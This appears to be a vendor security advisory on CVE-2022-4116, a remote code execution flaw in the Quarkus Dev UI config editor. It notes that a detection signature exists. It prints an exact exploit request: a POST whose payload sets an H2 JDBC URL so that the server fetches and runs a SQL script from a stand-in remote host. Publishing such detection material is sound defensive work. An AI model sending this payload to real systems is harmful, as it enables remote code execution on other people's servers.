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Red Hat Quarkus Java Framework Remote Code Execution (CVE-2022-4116)



Application Details

Quarkus was created to enable Java developers to create applications for a modern, cloud-native world.


Vulnerability

Red Hat Quarkus could allow a remote attacker to execute arbitrary code on the system, caused by a flaw in the Dev UI Config Editor.


Identification

By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.


POST /q/dev/io.quarkus.quarkus-vertx-http/config

PAYLOAD - action=updateProperty&name=quarkus.datasource.jdbc.url&value=jdbc%3Ah2%3Amem%3Atestdb%3BINIT%3Drunscript+from+'http%3A%2F%2Fsomerandomsite.bla%3A8081%2Fexec.sql'


Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.


Coverage

Idappcom have created signature 8023375 for this vulnerability.


References


Traffic IQ

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